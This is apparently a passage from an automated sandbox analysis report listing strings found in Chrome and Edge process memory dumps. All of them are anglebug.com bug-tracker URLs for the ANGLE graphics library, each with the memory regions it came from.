Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
